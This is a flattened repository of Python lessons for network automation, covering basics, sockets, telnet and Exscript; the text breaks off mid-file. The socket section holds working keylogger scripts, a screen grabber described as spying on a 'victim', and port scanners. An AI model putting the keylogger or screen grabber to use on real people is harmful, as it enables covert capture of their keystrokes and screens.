├── 10 Class homework class.py ├── 10 Class myc1.py ├── 11 Libraries (Modules & Packages) Calendarsmodule.py ├── 11 Libraries (Modules & Packages) Display Calendar.py ├── 11 Libraries (Modules & Packages) PIP diffcisco.py ├── 11 Libraries (Modules & Packages) cmdexample.py ├── 11 Libraries (Modules & Packages) datedate.py ├── 11 Libraries (Modules & Packages) formatformat.py ├── 11 Libraries (Modules & Packages) getpass_defaults.py ├── 11 Libraries (Modules & Packages) moduless.py ├── 11 Libraries (Modules & Packages) nmaplab.py ├── 11 Libraries (Modules & Packages) regex - Copy (2) - Copy.py ├── 11 Libraries (Modules & Packages) regex - Copy (2).py ├── 11 Libraries (Modules & Packages) regex - Copy.py ├── 11 Libraries (Modules & Packages) regex.py ├── 11 Libraries (Modules & Packages) timetime.py ├── 11 Libraries (Modules & Packages)cmdexample2.py ├── 14 Files IO 11io.py ├── 14 Files IO 1io.py ├── 14 Files IO 2io.py ├── 14 Files IO 3io.py ├── 14 Files IO 4io.py ├── 14 Files IO Find the Size (Resolution) of a Image.py ├── 14 Files IO hashfiles.py ├── 15 Error Handling error handling.py ├── 15 Error Handling exceptions.py ├── 15 Error Handling exceptions2.py ├── 17 Introduction to Socket Programming 1tcp server.py ├── 17 Introduction to Socket Programming 2tcp client.py ├── 17 Introduction to Socket Programming 3tcp server 2.py ├── 17 Introduction to Socket Programming 4tcp cleint 2.py ├── 17 Introduction to Socket Programming adv portscan.py ├── 17 Introduction to Socket Programming keyloggerfinal.py ├── 17 Introduction to Socket Programming portscan.py ├── 17 Introduction to Socket Programming soc1.py ├── 17 Introduction to Socket Programming socketping.py ├── 17 Introduction to Socket Programming sokcet.py ├── 17 Introduction to Socket Programming keylogger.py ├── 17 Introduction to Socket Programming screen.py ├── 17 Introduction to Socket Programming soc2.py ├── 18 Telnetlib & Exscript ssh-Exscript.py ├── 18 Telnetlib & Exscript telnet.py ├── 18 Telnetlib & Exscript telnet - Copy.py ├── 19 Paramiko S1script3inband.py ├── 19 Paramiko paramiko-pythonssh1.py ├── 20 Netmiko netmiko0.py ├── 20 Netmiko netmiko00.py ├── 20 Netmiko netmiko2.py ├── 20 Netmiko netmiko1.py ├── 20 Netmiko netmiko2rou.py ├── 21 NAPALM nap6.py ├── 21 NAPALM nap1.py ├── 21 NAPALM nap2.py ├── 21 NAPALM nap3.py ├── 21 NAPALM nap4.py ├── 21 NAPALM nap5.py ├── 21 NAPALM socketping.py ├── 22Pyntc pyntc1.py ├── 22Pyntc pyntc2.py ├── 22Pyntc pyntc3.py ├── 22Pyntc pyntc4.py ├── 22Pyntc pyntc5.py ├── 22Pyntc pyntc6.py ├── 22Pyntc pyntc7.py ├── 3 Variables & Operators format example 1.py ├── 3 Variables & Operators format example 2.py ├── 3 Variables & Operators input example.py ├── 3 Variables & Operators input1.py ├── 3 Variables & Operators py1.py ├── 4 Data types 2stringspy.py ├── 4 Data types 3listpy.py ├── 4 Data types 4rangepy.py ├── 4 Data types 5tuplespy.py ├── 4 Data types 6dicpy.py ├── 4 Data types 7setpy.py ├── 4 Data types ConvertN.py ├── 4 Data types dic1.py ├── 4 Data types range1.py ├── 4 Data types rangefor.py ├── 4 Data types str1.py ├── 4 Data types str2.py ├── 4 Data types 1datatypes.py ├── 7 Conditions 2 compundexample.py ├── 7 Conditions 4 if1.py ├── 7 Conditions 5 if2.py ├── 7 Conditions continue example.py ├── 7 Conditions ifpy.py ├── 7 Conditions1 first python app.py ├── 7 conndition 3 conditincon.py ├── 8 Loops breakloop.py ├── 8 Loops for.py ├── 8 Loops for3.py ├── 8 Loops forloop.py ├── 8 Loops list.py ├── 8 Loops loop2.py ├── 8 Loops looploop.py ├── 8 Loops string1.py ├── 8 Loops whileloop.py ├── 8 Loops 1while.py ├── 8 Loops dic2.py ├── 8 Loops for1.py ├── 8 Loops for2.py ├── 8 Loops test.py ├── 8 Loops test2.py ├── 9 Function Howmework Simple Caculator by Making Functions.py ├── 9 Function function with embded answer.py ├── 9 Function myf1.py ├── 9 Function myf1basic.py ├── 9 Function myf2.py ├── 9 Function 1 fun examples.py ├── ACL.cfg ├── R1.txt ├── R100.cfg ├── R2.txt ├── README.md ├── Router0_startup-config.txt ├── appreexp.pdf ├── ask for password.txt ├── exceptions example.txt ├── hashfiles.txt ├── ignore.txt ├── key_log.txt ├── lines.txt ├── main.py ├── mycv.txt ├── names.txt ├── open.JPG ├── passwords.txt ├── raven.txt ├── router192.168.1.50 ├── screen_capture.jpg ├── socketping.py └── watermark.jpg /10 Class homework class.py: -------------------------------------------------------------------------------- 1 | # 2 | # Example file for working with classes 3 | # 4 | 5 | class myClass(): 6 | def method1(self): 7 | print ("myClass method1") 8 | 9 | def method2(self, someString): 10 | print ("myClass method2: " + someString) 11 | 12 | class anotherClass(myClass): 13 | def method2(self): 14 | print ("anotherClass method2") 15 | 16 | def method1(self): 17 | myClass.method1(self); 18 | print ("anotherClass method1") 19 | 20 | def main(): 21 | c = myClass() 22 | c.method1() 23 | c.method2("This is a string") 24 | c2 = anotherClass() 25 | c2.method1() 26 | 27 | if __name__ == "__main__": 28 | main() 29 | -------------------------------------------------------------------------------- /10 Class myc1.py: -------------------------------------------------------------------------------- 1 | class myc1: 2 | x = 5 3 | p1 = myc1() 4 | print(p1.x) 5 | print(type(p1)) 6 | def myfun(): 7 | print("This is a message inside the class.") 8 | p1 = myfun() 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) Calendarsmodule.py: -------------------------------------------------------------------------------- 1 | # 2 | # Example file for working with Calendars 3 | # 4 | 5 | import calendar 6 | 7 | # create a plain text calendar 8 | c = calendar.TextCalendar(calendar.SUNDAY) 9 | str = c.formatmonth(2019, 5, 0, 0) 10 | print (str) 11 | 12 | # create an HTML formatted calendar 13 | hc = calendar.HTMLCalendar(calendar.SUNDAY) 14 | str = hc.formatmonth(2019, 5) 15 | print (str) 16 | 17 | # loop over the days of a month 18 | # zeroes mean that the day of the week is in an overlapping month 19 | for i in c.itermonthdays(2019, 8): 20 | print (i) 21 | 22 | # The Calendar module provides useful utilities for the given locale, 23 | # such as the names of days and months in both full and abbreviated forms 24 | for name in calendar.month_name: 25 | print (name) 26 | 27 | for day in calendar.day_name: 28 | print (day) 29 | 30 | # Calculate days based on a rule: For example, consider 31 | # a team meeting on the first Friday of every month. 32 | # To figure out what days that would be for each month, 33 | # we can use this script: 34 | for m in range(1,13): 35 | # returns an array of weeks that represent the month 36 | cal = calendar.monthcalendar(2013, m) 37 | # The first Friday has to be within the first two weeks 38 | weekone = cal[0] 39 | weektwo = cal[1] 40 | 41 | if weekone[calendar.FRIDAY] != 0: 42 | meetday = weekone[calendar.FRIDAY] 43 | else: 44 | # if the first friday isn't in the first week, it must be in the second 45 | meetday = weektwo[calendar.FRIDAY] 46 | 47 | print ("%10s %2d" % (calendar.month_name[m], meetday)) 48 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) Display Calendar.py: -------------------------------------------------------------------------------- 1 | # Python program to display calendar of given month of the year 2 | 3 | # import module 4 | import calendar 5 | 6 | yy = 2019 7 | mm = 6 8 | 9 | # To ask month and year from the user 10 | # yy = int(input("Enter year: ")) 11 | # mm = int(input("Enter month: ")) 12 | 13 | # display the calendar 14 | print(calendar.month(yy, mm)) 15 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) PIP diffcisco.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | #pip install diffios 7 | 8 | #diffios is a Python library that provides a way to compare Cisco IOS 9 | #configurations against a baseline template, and generate an output 10 | #detailing the differences between them. 11 | 12 | #https://github.com/robphoenix/diffios 13 | 14 | import diffios 15 | baseline = "R1.txt" 16 | comparison = "R2.txt" 17 | ignore = "ignore.txt" 18 | 19 | diff = diffios.Compare(baseline, comparison, ignore) 20 | print(diff.delta()) 21 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) cmdexample.py: -------------------------------------------------------------------------------- 1 | from cmd import Cmd 2 | 3 | class MyPrompt(Cmd): 4 | pass 5 | 6 | MyPrompt().cmdloop() 7 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) datedate.py: -------------------------------------------------------------------------------- 1 | # 2 | # Example file for working with date information 3 | # 4 | 5 | from datetime import date 6 | from datetime import time 7 | from datetime import datetime 8 | 9 | def main(): 10 | ## DATE OBJECTS 11 | # Get today's date from the simple today() method from the date class 12 | today = date.today() 13 | print ("Today's date is ", today) 14 | 15 | # print out the date's individual components 16 | print ("Date Components: ", today.day, today.month, today.year) 17 | 18 | # retrieve today's weekday (0=Monday, 6=Sunday) 19 | print ("Today's Weekday #: ", today.weekday()) 20 | 21 | ## DATETIME OBJECTS 22 | # Get today's date from the datetime class 23 | today = datetime.now() 24 | print ("The current date and time is ", today) 25 | 26 | # Get the current time 27 | t = datetime.time(datetime.now()) 28 | print ("The current time is ", t) 29 | 30 | # weekday returns 0 (monday) through 6 (sunday) 31 | wd = date.weekday(today) 32 | # Days start at 0 for Monday 33 | days = ["monday","tuesday","wednesday","thursday","friday","saturday","sunday"] 34 | print ("Today is day number %d" % wd) 35 | print ("Which is a " + days[wd]) 36 | 37 | 38 | if __name__ == "__main__": 39 | main(); 40 | 41 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) formatformat.py: -------------------------------------------------------------------------------- 1 | # 2 | # Example file for formatting time and date output 3 | # 4 | 5 | from datetime import datetime 6 | 7 | def main(): 8 | # Times and dates can be formatted using a set of predefined string 9 | # control codes 10 | now = datetime.now() # get the current date and time using method now 11 | 12 | #### Date Formatting #### 13 | 14 | # %y/%Y - Year, %a/%A - weekday, %b/%B - month, %d - day of month 15 | print (now.strftime("%Y")) # full year with century 16 | print (now.strftime("%a, %d %B, %y")) # abbreviated day, num, full month, abbreviated year 17 | 18 | # %c - locale's date and time, %x - locale's date, %X - locale's time 19 | print (now.strftime("%c")) 20 | print (now.strftime("%x")) 21 | print (now.strftime("%X")) 22 | 23 | #### Time Formatting #### 24 | 25 | # %I/%H - 12/24 Hour, %M - minute, %S - second, %p - locale's AM/PM 26 | print (now.strftime("%I:%M:%S %p")) # 12-Hour:Minute:Second:AM 27 | print (now.strftime("%H:%M")) # 24-Hour:Minute 28 | 29 | if __name__ == "__main__": 30 | main(); 31 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) getpass_defaults.py: -------------------------------------------------------------------------------- 1 | import getpass 2 | p = getpass.getpass(prompt='What is your password? ') 3 | if p.lower() == 'cisco': 4 | print ('Right. Off you go.') 5 | else: 6 | print ('Auuuuugh!') 7 | 8 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) moduless.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | 4 | def main(): 5 | 6 | print('Python version {}.{}.{}'.format(*sys.version_info)) 7 | print(sys.platform) 8 | 9 | import datetime 10 | now = datetime.datetime.now() 11 | print(now) 12 | print(now.year, now.year, now.month, now.minute, now.second, now.microsecond) 13 | 14 | if __name__ == "__main__": main() 15 | 16 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) nmaplab.py: -------------------------------------------------------------------------------- 1 | #pip install python-nmap 2 | import nmap 3 | nm = nmap.PortScanner() 4 | print(nm.nmap_version()) 5 | nm.scan('192.168.1.1', '1-1024', '-v') 6 | # get nmap scan informations 7 | print(nm.scaninfo()) 8 | print(nm.csv()) 9 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) regex - Copy (2) - Copy.py: -------------------------------------------------------------------------------- 1 | #Regular expressions are used for a variety of purposes, from simple search and replace operations to complex text and data file manipulation. 2 | #Regular expressions are actually a small language in itself. 3 | #This is Python's regular expression module and it's distributed with Python. 4 | #You import re module and you compile a pattern and then you use the pattern to search. 5 | 6 | import re 7 | 8 | def main(): 9 | fh = open('Router0_startup-config.txt') 10 | for line in fh: 11 | match = re.search('(Cisco|cisco)', line) 12 | if match: 13 | print (line.replace(match.group(), '###'), end =' ') 14 | if __name__ == "__main__": main() 15 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) regex - Copy (2).py: -------------------------------------------------------------------------------- 1 | #Regular expressions are used for a variety of purposes, from simple search and replace operations to complex text and data file manipulation. 2 | #Regular expressions are actually a small language in itself. 3 | #This is Python's regular expression module and it's distributed with Python. 4 | #You import re module and you compile a pattern and then you use the pattern to search. 5 | 6 | import re 7 | 8 | def main(): 9 | fh = open('Router0_startup-config.txt') 10 | for line in fh: 11 | print (re.sub('(Cisco|cisco)', '###', line), end =' ') 12 | 13 | if __name__ == "__main__": main() 14 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) regex - Copy.py: -------------------------------------------------------------------------------- 1 | #Regular expressions are used for a variety of purposes, from simple search and replace operations to complex text and data file manipulation. 2 | #Regular expressions are actually a small language in itself. 3 | #This is Python's regular expression module and it's distributed with Python. 4 | #You import re module and you compile a pattern and then you use the pattern to search. 5 | 6 | import re 7 | 8 | def main(): 9 | fh = open('Router0_startup-config.txt') 10 | for line in fh: 11 | if re.search('interface', line): 12 | print(line, end='') 13 | 14 | if __name__ == "__main__": main() 15 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) regex.py: -------------------------------------------------------------------------------- 1 | #Regular expressions are used for a variety of purposes, from simple search and replace operations to complex text and data file manipulation. 2 | #Regular expressions are actually a small language in itself. 3 | #This is Python's regular expression module and it's distributed with Python. 4 | #You import re module and you compile a pattern and then you use the pattern to search. 5 | 6 | import re 7 | 8 | def main(): 9 | fh = open('Router0_startup-config.txt') 10 | for line in fh: 11 | if re.search('(Cisco|cisco)', line): 12 | print(line, end='') 13 | 14 | if __name__ == "__main__": main() 15 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages) timetime.py: -------------------------------------------------------------------------------- 1 | # 2 | # Example file for working with timedelta objects 3 | # 4 | 5 | from datetime import date 6 | from datetime import time 7 | from datetime import datetime 8 | from datetime import timedelta 9 | 10 | # construct a basic timedelta and print it 11 | print (timedelta(days=365, hours=5, minutes=1)) 12 | 13 | # print today's date 14 | print ("today is: " + str(datetime.now())) 15 | 16 | # print today's date one year from now 17 | print ("one year from now it will be: " + str(datetime.now() + timedelta(days=365))) 18 | 19 | # create a timedelta that uses more than one argument 20 | print ("in two weeks and 3 days it will be: " + str(datetime.now() + timedelta(weeks=2, days=3))) 21 | 22 | # calculate the date 1 week ago, formatted as a string 23 | t = datetime.now() - timedelta(weeks=1) 24 | s = t.strftime("%A %B %d, %Y") 25 | print ("one week ago it was " + s) 26 | 27 | ### How many days until April Fools' Day? 28 | 29 | today = date.today() # get today's date 30 | afd = date(today.year, 4, 1) # get April Fool's for the same year 31 | # use date comparison to see if April Fool's has already gone for this year 32 | # if it has, use the replace() function to get the date for next year 33 | if afd < today: 34 | print ("April Fool's day already went by %d days ago" % ((today-afd).days)) 35 | afd = afd.replace(year=today.year + 1) # if so, get the date for next year 36 | 37 | # Now calculate the amount of time until April Fool's Day 38 | time_to_afd = abs(afd - today) 39 | print (time_to_afd.days, "days until next April Fools' Day!") 40 | 41 | -------------------------------------------------------------------------------- /11 Libraries (Modules & Packages)cmdexample2.py: -------------------------------------------------------------------------------- 1 | from cmd import Cmd 2 | 3 | class MyPrompt(Cmd): 4 | def do_exit(self, inp): 5 | print("Bye") 6 | return True 7 | 8 | def do_add(self, inp): 9 | print("Adding '{}'".format(inp)) 10 | 11 | MyPrompt().cmdloop() 12 | print("after") 13 | 14 | -------------------------------------------------------------------------------- /14 Files IO 11io.py: -------------------------------------------------------------------------------- 1 | #Python open() Function 2 | 3 | 4 | 5 | f = open("names.txt", "r") 6 | print(f.read()) 7 | 8 | 9 | 10 | #The open() function opens a file, and returns it as a file object. 11 | 12 | #open(file, mode) 13 | -------------------------------------------------------------------------------- /14 Files IO 1io.py: -------------------------------------------------------------------------------- 1 | names = open("c:/Users/yasser/desktop/names.txt", "r") 2 | names2 = names.read() 3 | print(names2) 4 | names.close() 5 | 6 | #practice it in cmd 7 | #"w" 8 | #This snippet opens the file named“names” in writing mode so that 9 | #we can make changes to it. 10 | 11 | 12 | -------------------------------------------------------------------------------- /14 Files IO 2io.py: -------------------------------------------------------------------------------- 1 | 2 | names_file = open("names.txt", "r") 3 | names = names_file.read(4) 4 | print(names) 5 | 6 | names_file.close() 7 | -------------------------------------------------------------------------------- /14 Files IO 3io.py: -------------------------------------------------------------------------------- 1 | import os 2 | file_created = os.path.getctime("mycv.txt") 3 | print("this file was created {} seconds after the unix epoch.".format(file_created)) 4 | 5 | -------------------------------------------------------------------------------- /14 Files IO 4io.py: -------------------------------------------------------------------------------- 1 | import os 2 | if os.path.isfile("mycv.txt"): 3 | print('file exists') 4 | mycv_file = open("mycv.txt", "w") 5 | #print(type(mycv_file)) 6 | mycv_file.write("this is a test") 7 | mycv_file.close() 8 | 9 | -------------------------------------------------------------------------------- /14 Files IO Find the Size (Resolution) of a Image.py: -------------------------------------------------------------------------------- 1 | def jpeg_res(filename): 2 | """"This function prints the resolution of the jpeg image file passed into it""" 3 | 4 | # open image for reading in binary mode 5 | with open(filename,'rb') as img_file: 6 | 7 | # height of image (in 2 bytes) is at 164th position 8 | img_file.seek(163) 9 | 10 | # read the 2 bytes 11 | a = img_file.read(2) 12 | 13 | # calculate height 14 | height = (a[0] << 8) + a[1] 15 | 16 | # next 2 bytes is width 17 | a = img_file.read(2) 18 | 19 | # calculate width 20 | width = (a[0] << 8) + a[1] 21 | 22 | print("The resolution of the image is",width,"x",height) 23 | 24 | jpeg_res("img1.jpg") 25 | -------------------------------------------------------------------------------- /14 Files IO hashfiles.py: -------------------------------------------------------------------------------- 1 | 2 | import hashlib 3 | BLOCKSIZE = 65536 4 | hasher = hashlib.md5() 5 | with open('watermark.jpg', 'rb') as afile: 6 | buf = afile.read(BLOCKSIZE) 7 | while len(buf) > 0: 8 | hasher.update(buf) 9 | buf = afile.read(BLOCKSIZE) 10 | print(hasher.hexdigest()) 11 | 12 | import hashlib 13 | BLOCKSIZE = 65536 14 | hasher = hashlib.sha1() 15 | with open('watermark.jpg', 'rb') as afile: 16 | buf = afile.read(BLOCKSIZE) 17 | while len(buf) > 0: 18 | hasher.update(buf) 19 | buf = afile.read(BLOCKSIZE) 20 | print(hasher.hexdigest()) 21 | 22 | #The code above calculates the MD5 digest of the file. 23 | #The file is opened in rb mode, which means that you are going to read the file in binary mode. 24 | #This is because the MD5 function needs to read the file as a sequence of bytes. 25 | #This will make sure that you can hash any type of file, not only text files. 26 | #It is important to notice the read function. 27 | #When it is called with no arguments, like in this case, it will read all the contents of the file and load them into memory. 28 | #This is dangerous if you are not sure of the file's size. 29 | -------------------------------------------------------------------------------- /15 Error Handling error handling.py: -------------------------------------------------------------------------------- 1 | try: 2 | my_file = open("names.txt", "r") 3 | read_file = my_file.read() 4 | except: 5 | print("An unspecified error has occurred.") 6 | -------------------------------------------------------------------------------- /15 Error Handling exceptions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # exceptions.py by Bill Weinman [http://bw.org/] 3 | # This is an exercise file from Python 3 Essential Training on lynda.com 4 | # Copyright 2010 The BearHeart Gorup, LLC 5 | def main(): 6 | try: 7 | fh = open('xlines.txt') 8 | except IOError as e: 9 | print("could not find file",e) 10 | else: 11 | for line in fh: print(line.strip()) 12 | 13 | if __name__ == "__main__": main() 14 | -------------------------------------------------------------------------------- /15 Error Handling exceptions2.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | try: 3 | for line in readfile('xlines.txt'): print(line.strip()) 4 | except FileNotFoundError as e: 5 | print("cannot read file:",e) 6 | def readfile(filename): 7 | fh = open(filename) 8 | return fh.readlines() 9 | 10 | if __name__ == "__main__": main() 11 | 12 | #without rise exceptions 13 | #def main(): 14 | # for line in readfile('xlines.txt'): print(line.strip()) 15 | 16 | #def readfile(filename): 17 | # fh = open(filename) 18 | # return fh.readlines() 19 | 20 | #if __name__ == "__main__": main() 21 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming 1tcp server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | T_PORT = 60 3 | TCP_IP = '127.0.0.1' 4 | BUF_SIZE = 30 5 | # create a socket object name 'k' 6 | k = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 7 | k.bind((TCP_IP, T_PORT)) 8 | k.listen(1) 9 | con, addr = k.accept() 10 | print ('Connection Address is: ' , addr) 11 | while True : 12 | data = con.recv(BUF_SIZE) 13 | if not data: 14 | sys.exit() 15 | print ("Received data", data) 16 | con.send(data) 17 | con.close() 18 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming 2tcp client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | T_PORT = 60 4 | 5 | TCP_IP = '127.0.0.1' 6 | 7 | BUF_SIZE = 30 8 | 9 | MSG = "Hello karl".encode() 10 | 11 | # create a socket object name 'k' 12 | 13 | k = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 14 | 15 | k.connect((TCP_IP, T_PORT)) 16 | 17 | k.send(MSG) 18 | 19 | data = k.recv(BUF_SIZE) 20 | 21 | k.close 22 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming 3tcp server 2.py: -------------------------------------------------------------------------------- 1 | # server.py 2 | import socket 3 | import time 4 | 5 | # create a socket object 6 | serversocket = socket.socket( 7 | socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # get local machine name 10 | host = socket.gethostname() 11 | 12 | port = 9999 13 | 14 | # bind to the port 15 | serversocket.bind((host, port)) 16 | 17 | # queue up to 5 requests 18 | serversocket.listen(5) 19 | 20 | while True: 21 | # establish a connection 22 | clientsocket,addr = serversocket.accept() 23 | 24 | print("Got a connection from %s" % str(addr)) 25 | currentTime = time.ctime(time.time()) + "\r\n" 26 | clientsocket.send(currentTime.encode('ascii')) 27 | clientsocket.close() 28 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming 4tcp cleint 2.py: -------------------------------------------------------------------------------- 1 | # client.py 2 | import socket 3 | 4 | # create a socket object 5 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 | 7 | # get local machine name 8 | host = socket.gethostname() 9 | 10 | port = 9999 11 | 12 | # connection to hostname on the port. 13 | s.connect((host, port)) 14 | 15 | # Receive no more than 1024 bytes 16 | tm = s.recv(1024) 17 | 18 | s.close() 19 | 20 | print("The time got from the server is %s" % tm.decode('ascii')) 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming adv portscan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import subprocess 3 | import sys 4 | from datetime import datetime 5 | 6 | # Clear the screen 7 | subprocess.call('clear', shell=True) 8 | 9 | # Ask for input 10 | remoteServer = input("Enter a remote host to scan: ") 11 | remoteServerIP = socket.gethostbyname(remoteServer) 12 | 13 | # Print a nice banner with information on which host we are about to scan 14 | print ("-" * 60) 15 | print ("Please wait, scanning remote host", remoteServerIP) 16 | print ("-" * 60) 17 | 18 | # Check what time the scan started 19 | t1 = datetime.now() 20 | 21 | # Using the range function to specify ports (here it will scans all ports between 1 and 1024) 22 | 23 | # We also put in some error handling for catching errors 24 | 25 | try: 26 | for port in range(1,1025): 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | result = sock.connect_ex((remoteServerIP, port)) 29 | if result == 0: 30 | print ("Port {}: Open".format(port)) 31 | sock.close() 32 | 33 | except KeyboardInterrupt: 34 | print ("You pressed Ctrl+C") 35 | sys.exit() 36 | 37 | except socket.gaierror: 38 | print ('Hostname could not be resolved. Exiting') 39 | sys.exit() 40 | 41 | except socket.error: 42 | print ("Couldn't connect to server") 43 | sys.exit() 44 | 45 | # Checking the time again 46 | t2 = datetime.now() 47 | 48 | # Calculates the difference of time, to see how long it took to run the script 49 | total = t2 - t1 50 | 51 | # Printing the information to screen 52 | print ('Scanning Completed in: ', total) 53 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming keyloggerfinal.py: -------------------------------------------------------------------------------- 1 | from pynput.keyboard import Key, Listener 2 | import logging 3 | 4 | log_dir = "" 5 | 6 | logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') 7 | 8 | def on_press(key): 9 | logging.info(str(key)) 10 | 11 | with Listener(on_press=on_press) as listener: 12 | listener.join() 13 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming portscan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import subprocess 3 | import sys 4 | from datetime import datetime 5 | 6 | # Clear the screen 7 | subprocess.call('clear', shell=True) 8 | 9 | # Ask for input 10 | remoteServer = input("Enter a remote host to scan: ") 11 | remoteServerIP = socket.gethostbyname(remoteServer) 12 | 13 | # Print a nice banner with information on which host we are about to scan 14 | print ("-" * 60) 15 | print ("Please wait, scanning remote host", remoteServerIP) 16 | print ("-" * 60) 17 | 18 | # Check what time the scan started 19 | t1 = datetime.now() 20 | 21 | # Using the range function to specify ports (here it will scans all ports between 1 and 1024) 22 | 23 | # We also put in some error handling for catching errors 24 | 25 | try: 26 | for port in range(1,1025): 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | result = sock.connect_ex((remoteServerIP, port)) 29 | if result == 0: 30 | print ("Port {}: Open".format(port)) 31 | sock.close() 32 | 33 | except KeyboardInterrupt: 34 | print ("You pressed Ctrl+C") 35 | sys.exit() 36 | 37 | except socket.gaierror: 38 | print ('Hostname could not be resolved. Exiting') 39 | sys.exit() 40 | 41 | except socket.error: 42 | print ("Couldn't connect to server") 43 | sys.exit() 44 | 45 | # Checking the time again 46 | t2 = datetime.now() 47 | 48 | # Calculates the difference of time, to see how long it took to run the script 49 | total = t2 - t1 50 | 51 | # Printing the information to screen 52 | print ('Scanning Completed in: ', total) 53 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming soc1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | hostname, aliases, addresses = socket.gethostbyaddr('192.168.1.1') 3 | print('Hostname :', hostname) 4 | print('Aliases :', aliases) 5 | print('Addresses:', addresses) 6 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming socketping.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | for n in range(50, 52): 5 | server_ip="192.168.1.{0}".format(n) 6 | rep = os.system('ping ' + server_ip) 7 | if rep == 0: 8 | print ("server is up" ,server_ip) 9 | else: 10 | print ("server is down" ,server_ip) 11 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming sokcet.py: -------------------------------------------------------------------------------- 1 | import socket 2 | print (socket.gethostbyname("www.cnn.com")) 3 | 4 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming keylogger.py: -------------------------------------------------------------------------------- 1 | from pynput.keyboard import Key, Listener 2 | import logging 3 | 4 | log_dir = "" 5 | 6 | logging.basicConfig(filename=(log_dir + "C:\\Users\\yasser\\\Desktop\\log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') 7 | 8 | def on_press(key): 9 | logging.info(str(key)) 10 | 11 | with Listener(on_press=on_press) as listener: 12 | listener.join() 13 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming screen.py: -------------------------------------------------------------------------------- 1 | #Screen grabber captures the victim's desktop and sends the images to a remote server. 2 | #pip install pillow 3 | 4 | from PIL import ImageGrab 5 | import time 6 | time.sleep(3) 7 | ImageGrab.grab().save("screen_capture.jpg", "JPEG") 8 | -------------------------------------------------------------------------------- /17 Introduction to Socket Programming soc2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from urllib.parse import urlparse 3 | URLS = [ 4 | 'http://www.python.org', 5 | 'https://www.mybank.com', 6 | 'ftp://prep.ai.mit.edu', 7 | 'gopher://gopher.micro.umn.edu', 8 | 'smtp://mail.example.com', 9 | 'imap://mail.example.com', 10 | 'imaps://mail.example.com', 11 | 'pop3://pop.example.com', 12 | 'pop3s://pop.example.com', 13 | ] 14 | for url in URLS: 15 | parsed_url = urlparse(url) 16 | port = socket.getservbyname(parsed_url.scheme) 17 | print('{:>6} : {}'.format(parsed_url.scheme, port)) 18 | -------------------------------------------------------------------------------- /18 Telnetlib & Exscript ssh-Exscript.py: -------------------------------------------------------------------------------- 1 | #C:\Users\yasser>pip install Exscript 2 | 3 | from Exscript.util.interact import read_login 4 | from Exscript.protocols import SSH2 5 | account = read_login() 6 | conn = SSH2() 7 | conn.connect('192.168.1.50') 8 | conn.login(account) 9 | conn.execute('show ip route') 10 | print (conn.response) 11 | conn.send('exit\r') 12 | conn.close() 13 | -------------------------------------------------------------------------------- /18 Telnetlib & Exscript telnet.py: -------------------------------------------------------------------------------- 1 | import getpass 2 | import telnetlib 3 | 4 | HOST = "192.168.1.50" 5 | user = input("Enter your telnet username: ") 6 | password = getpass.getpass() 7 | 8 | tn = telnetlib.Telnet(HOST) 9 | 10 | tn.read_until(b"Username: ") 11 | tn.write(user.encode('ascii') + b"\n") 12 | if password: 13 | tn.read_until(b"Password: ") 14 | tn.write(password.encode('ascii') + b"\n") 15 | 16 | tn.write(b"enable\n") 17 | tn.write(b"cisco\n") 18 | tn.write(b"config t\n") 19 | tn.write(b"ip domain-name yasseraudalab.com\n") 20 | tn.write(b"int loop1\n") 21 | tn.write(b"ip add 11.0.0.1 255.255.255.255\n") 22 | tn.write(b"end\n") 23 | tn.write(b"exit\n") 24 | 25 | print(tn.read_all().decode('ascii')) 26 | -------------------------------------------------------------------------------- /18 Telnetlib & Exscript telnet - Copy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import getpass 